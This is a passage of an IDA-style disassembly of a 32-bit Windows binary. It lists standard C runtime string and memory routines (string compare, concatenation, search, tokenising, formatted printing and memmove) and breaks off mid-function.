

sub_418BD0	proc near		; CODE XREF: sub_401AA1+7ACp
					; sub_41A86A+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418C01
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418BFF
		jz	short loc_418C01
		dec	ecx
		dec	ecx


loc_418BFF:				; CODE XREF: sub_418BD0+29j
		not	ecx


loc_418C01:				; CODE XREF: sub_418BD0+9j
					; sub_418BD0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418BD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_401AA1+40Ep
					; sub_401AA1+2AA0p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_418C81
sub_418C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C20	proc near		; CODE XREF: sub_401AA1+417p
					; sub_401AA1+698Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_418C3C


loc_418C2D:				; CODE XREF: sub_418C20+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_418C6F
		test	ecx, 3
		jnz	short loc_418C2D


loc_418C3C:				; CODE XREF: sub_418C20+Bj
					; sub_418C20+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_418C3C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_418C7E
		test	ah, ah
		jz	short loc_418C79
		test	eax, 0FF0000h
		jz	short loc_418C74
		test	eax, 0FF000000h
		jz	short loc_418C6F
		jmp	short loc_418C3C
; ---------------------------------------------------------------------------


loc_418C6F:				; CODE XREF: sub_418C20+12j
					; sub_418C20+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_418C81
; ---------------------------------------------------------------------------


loc_418C74:				; CODE XREF: sub_418C20+44j
		lea	edi, [ecx-2]
		jmp	short loc_418C81
; ---------------------------------------------------------------------------


loc_418C79:				; CODE XREF: sub_418C20+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_418C81
; ---------------------------------------------------------------------------


loc_418C7E:				; CODE XREF: sub_418C20+39j
		lea	edi, [ecx-4]


loc_418C81:				; CODE XREF: sub_418C10+5j
					; sub_418C20+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_418CA6


loc_418C8D:				; CODE XREF: sub_418C20+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_418CF8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_418C8D
		jmp	short loc_418CA6
; ---------------------------------------------------------------------------


loc_418CA1:				; CODE XREF: sub_418C20+9Ej
					; sub_418C20+B8j
		mov	[edi], edx
		add	edi, 4


loc_418CA6:				; CODE XREF: sub_418C20+6Bj
					; sub_418C20+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_418CA1
		test	dl, dl
		jz	short loc_418CF8
		test	dh, dh
		jz	short loc_418CEF
		test	edx, 0FF0000h
		jz	short loc_418CE2
		test	edx, 0FF000000h
		jz	short loc_418CDA
		jmp	short loc_418CA1
; ---------------------------------------------------------------------------


loc_418CDA:				; CODE XREF: sub_418C20+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418CE2:				; CODE XREF: sub_418C20+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418CEF:				; CODE XREF: sub_418C20+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418CF8:				; CODE XREF: sub_418C20+72j
					; sub_418C20+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_418C20	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418D10


loc_418D00:				; CODE XREF: sub_418D10+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418D10
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418D10	proc near		; CODE XREF: sub_401AA1+3F3p
					; sub_401AA1+490p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418D00 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_418D16:				; CODE XREF: sub_418660+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418D3B


loc_418D28:				; CODE XREF: sub_418D10+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418D00
		test	cl, cl
		jz	short loc_418D84
		test	edx, 3
		jnz	short loc_418D28


loc_418D3B:				; CODE XREF: sub_418D10+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_418D46:				; CODE XREF: sub_418D10+61j
					; sub_418D10+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418D88
		and	eax, 81010100h
		jz	short loc_418D46
		and	eax, 1010100h
		jnz	short loc_418D82
		and	esi, 80000000h
		jnz	short loc_418D46


loc_418D82:				; CODE XREF: sub_418D10+68j
					; sub_418D10+81j ...
		pop	esi
		pop	edi


loc_418D84:				; CODE XREF: sub_418D10+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418D88:				; CODE XREF: sub_418D10+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_418DC5
		test	al, al
		jz	short loc_418D82
		cmp	ah, bl
		jz	short loc_418DBE
		test	ah, ah
		jz	short loc_418D82
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418DB7
		test	al, al
		jz	short loc_418D82
		cmp	ah, bl
		jz	short loc_418DB0
		test	ah, ah
		jz	short loc_418D82
		jmp	short loc_418D46
; ---------------------------------------------------------------------------


loc_418DB0:				; CODE XREF: sub_418D10+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418DB7:				; CODE XREF: sub_418D10+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418DBE:				; CODE XREF: sub_418D10+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418DC5:				; CODE XREF: sub_418D10+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418D10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DD0	proc near		; CODE XREF: sub_401AA1+1A0p
					; sub_401AA1+1F7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_418E1C


loc_418DE0:				; CODE XREF: sub_418DD0+3Cj
					; sub_418DD0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_418E14
		or	al, al
		jz	short loc_418E10
		cmp	ah, [ecx+1]
		jnz	short loc_418E14
		or	ah, ah
		jz	short loc_418E10
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_418E14
		or	al, al
		jz	short loc_418E10
		cmp	ah, [ecx+3]
		jnz	short loc_418E14
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_418DE0
		mov	edi, edi


loc_418E10:				; CODE XREF: sub_418DD0+18j
					; sub_418DD0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418E14:				; CODE XREF: sub_418DD0+14j
					; sub_418DD0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418E1C:				; CODE XREF: sub_418DD0+Ej
		test	edx, 1
		jz	short loc_418E38
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_418E14
		inc	ecx
		or	al, al
		jz	short loc_418E10
		test	edx, 2
		jz	short loc_418DE0


loc_418E38:				; CODE XREF: sub_418DD0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_418E14
		or	al, al
		jz	short loc_418E10
		cmp	ah, [ecx+1]
		jnz	short loc_418E14
		or	ah, ah
		jz	short loc_418E10
		add	ecx, 2
		jmp	short loc_418DE0
sub_418DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E54	proc near		; CODE XREF: sub_401AA1+B5p
					; sub_401AA1+C8p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_418E6D:				; CODE XREF: sub_418E54+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418E6D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418E95
		mov	edx, dword_4DCDC0


loc_418E95:				; CODE XREF: sub_418E54+39j
					; sub_418E54+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418EB5
		test	al, al
		jz	short loc_418EB5
		inc	edx
		jmp	short loc_418E95
; ---------------------------------------------------------------------------


loc_418EB5:				; CODE XREF: sub_418E54+58j
					; sub_418E54+5Cj
		mov	ebx, edx


loc_418EB7:				; CODE XREF: sub_418E54+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418EDB
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418ED7
		inc	edx
		jmp	short loc_418EB7
; ---------------------------------------------------------------------------


loc_418ED7:				; CODE XREF: sub_418E54+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_418EDB:				; CODE XREF: sub_418E54+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DCDC0, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418E54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF0	proc near		; CODE XREF: sub_408B7B+1Cp
					; sub_413FAE+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41C27F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_418F2E
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_418F3B
; ---------------------------------------------------------------------------


loc_418F2E:				; CODE XREF: sub_418EF0+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41C16A
		pop	ecx
		pop	ecx


loc_418F3B:				; CODE XREF: sub_418EF0+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418EF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418F40	proc near		; CODE XREF: sub_40A029+82p
					; sub_40A66C+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418FF4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418F6A


loc_418F5B:				; CODE XREF: sub_418F40+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418F9B
		test	edi, 3
		jnz	short loc_418F5B


loc_418F6A:				; CODE XREF: sub_418F40+19j
					; sub_418F40+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418F6A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418FA8
		test	ah, ah
		jz	short loc_418FA3
		test	eax, 0FF0000h
		jz	short loc_418F9E
		test	eax, 0FF000000h
		jnz	short loc_418F6A


loc_418F9B:				; CODE XREF: sub_418F40+20j
		dec	edi
		jmp	short loc_418FAB
; ---------------------------------------------------------------------------


loc_418F9E:				; CODE XREF: sub_418F40+52j
		sub	edi, 2
		jmp	short loc_418FAB
; ---------------------------------------------------------------------------


loc_418FA3:				; CODE XREF: sub_418F40+4Bj
		sub	edi, 3
		jmp	short loc_418FAB
; ---------------------------------------------------------------------------


loc_418FA8:				; CODE XREF: sub_418F40+47j
		sub	edi, 4


loc_418FAB:				; CODE XREF: sub_418F40+5Cj
					; sub_418F40+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418FC0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41900C
		jmp	short loc_418FDC
; ---------------------------------------------------------------------------


loc_418FC0:				; CODE XREF: sub_418F40+75j
					; sub_418F40+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418FFA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418FF0
		test	esi, 3
		jnz	short loc_418FC0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41900C


loc_418FDC:				; CODE XREF: sub_418F40+7Ej
					; sub_418F40+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418FF0


loc_418FE3:				; CODE XREF: sub_418F40+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418FF2
		dec	ecx
		jnz	short loc_418FE3


loc_418FF0:				; CODE XREF: sub_418F40+8Bj
					; sub_418F40+A1j
		mov	[edi], cl


loc_418FF2:				; CODE XREF: sub_418F40+ABj
		pop	ebx
		pop	esi


loc_418FF4:				; CODE XREF: sub_418F40+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418FFA:				; CODE XREF: sub_418F40+85j
					; sub_418F40+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419004:				; CODE XREF: sub_418F40+E4j
					; sub_418F40+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418FDC


loc_41900C:				; CODE XREF: sub_418F40+7Cj
					; sub_418F40+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_419004
		test	dl, dl
		jz	short loc_418FFA
		test	dh, dh
		jz	short loc_419058
		test	edx, 0FF0000h
		jz	short loc_419048
		test	edx, 0FF000000h
		jnz	short loc_419004
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419048:				; CODE XREF: sub_418F40+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419058:				; CODE XREF: sub_418F40+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419070	proc near		; CODE XREF: sub_40AFCC+15p
					; sub_40AFCC+3Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_419090
		cmp	edi, eax
		jb	loc_419208


loc_419090:				; CODE XREF: sub_419070+16j
		test	edi, 3
		jnz	short loc_4190AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4190CC
		rep movsd
		jmp	off_4191B8[edx*4]
; ---------------------------------------------------------------------------


loc_4190AC:				; CODE XREF: sub_419070+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4190C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4190CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4190C4:				; CODE XREF: sub_419070+46j
		jmp	dword ptr loc_4191C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4190CC:				; CODE XREF: sub_419070+31j
					; sub_419070+8Ej ...
		jmp	off_41914C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4190DC+4
		dd offset loc_41910C
; ---------------------------------------------------------------------------


loc_4190DC:				; DATA XREF: sub_419070+64o
		xor	[ecx-2EDCFFBFh], dl
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4190CC
		rep movsd
		jmp	off_4191B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41910C:				; DATA XREF: sub_419070+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4190CC
		rep movsd
		jmp	off_4191B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4190CC
		rep movsd
		jmp	off_4191B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41914C	dd offset loc_4191AF	; DATA XREF: sub_419070:loc_4190CCr
		dd offset loc_41919C
		dd offset loc_419194
		dd offset loc_41918C
		dd offset loc_419184
		dd offset loc_41917C
		dd offset loc_419174
		dd offset loc_41916C
; ---------------------------------------------------------------------------


loc_41916C:				; CODE XREF: sub_419070:loc_4190CCj
					; DATA XREF: sub_419070+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_419174:				; CODE XREF: sub_419070:loc_4190CCj
					; DATA XREF: sub_419070+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41917C:				; CODE XREF: sub_419070:loc_4190CCj
					; DATA XREF: sub_419070+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_419184:				; CODE XREF: sub_419070:loc_4190CCj
					; DATA XREF: sub_419070+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41918C:				; CODE XREF: sub_419070:loc_4190CCj
					; DATA XREF: sub_419070+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_419194:				; CODE XREF: sub_419070:loc_4190CCj
					; DATA XREF: sub_419070+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41919C:				; CODE XREF: sub_419070:loc_4190CCj
					; DATA XREF: sub_419070+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4191AF:				; CODE XREF: sub_419070:loc_4190CCj
					; DATA XREF: sub_419070:off_41914Co
		jmp	off_4191B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4191B8	dd offset loc_4191C8	; DATA XREF: sub_419070+35r
					; sub_419070+92r ...
		dd offset loc_4191D0
		dd offset loc_4191DC
		dd offset loc_4191F0
; ---------------------------------------------------------------------------


loc_4191C8:				; CODE XREF: sub_419070+35j
					; sub_419070+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4191D0:				; CODE XREF: sub_419070+35j
					; sub_419070+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4191DC:				; CODE XREF: sub_419070+35j
					; sub_419070+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4191F0:				; CODE XREF: sub_419070+35j
					; sub_419070+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419208:				; CODE XREF: sub_419070+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41923C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_419230
		std
		rep movsd
		cld
		jmp	off_419350[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419230:				; CODE XREF: sub_419070+1B1j
					; sub_419070+208j ...
		neg	ecx
		jmp	off_419300[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41923C:				; CODE XREF: sub_419070+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_419254
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_419254+4[eax*4]
; ---------------------------------------------------------------------------


loc_419254:				; CODE XREF: sub_419070+1D6j
					; DATA XREF: sub_419070+1DDr
		jmp	off_419350[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_419267+1
		dd offset loc_419288
; ---------------------------------------------------------------------------
		mov	al, 92h
		inc	ecx


loc_419267:				; DATA XREF: sub_419070+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_419230
		std
		rep movsd
		cld
		jmp	off_419350[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_419288:				; DATA XREF: sub_419070+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_419230
		std
		rep movsd
		cld
		jmp	off_419350[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_419230
		std
		rep movsd
		cld
		jmp	off_419350[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_419304
		dd offset loc_41930C
		dd offset loc_419314
		dd offset loc_41931C
		dd offset loc_419324
		dd offset loc_41932C
		dd offset loc_419334
off_419300	dd offset loc_419347	; DATA XREF: sub_419070+1C2r
; ---------------------------------------------------------------------------


loc_419304:				; DATA XREF: sub_419070+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41930C:				; DATA XREF: sub_419070+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_419314:				; DATA XREF: sub_419070+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41931C:				; DATA XREF: sub_419070+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_419324:				; DATA XREF: sub_419070+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41932C:				; DATA XREF: sub_419070+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_419334:				; DATA XREF: sub_419070+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419347:				; CODE XREF: sub_419070+1C2j
					; DATA XREF: sub_419070:off_419300o
		jmp	off_419350[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_419350	dd offset loc_419360	; DATA XREF: sub_419070+1B7r
					; sub_419070:loc_419254r ...
		dd offset loc_419368
		dd offset loc_419378
		dd offset loc_41938C
; ---------------------------------------------------------------------------


loc_419360:				; CODE XREF: sub_419070+1B7j
					; sub_419070:loc_419254j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419368:				; CODE XREF: sub_419070+1B7j
					; sub_419070:loc_419254j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419378:				; CODE XREF: sub_419070+1B7j
					; sub_419070:loc_419254j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41938C:				; CODE XREF: sub_419070+1B7j
					; sub_419070:loc_419254j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_419070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193A5	proc near		; CODE XREF: sub_40B014+40p
					; sub_40DF38+23Dp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417D40
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D0F0
		add	esp, 10h
		leave
		retn
sub_4193A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4193D9(double)

sub_4193D9	proc near		; CODE XREF: sub_40C03A+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43D220
		call	sub_41E3C9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
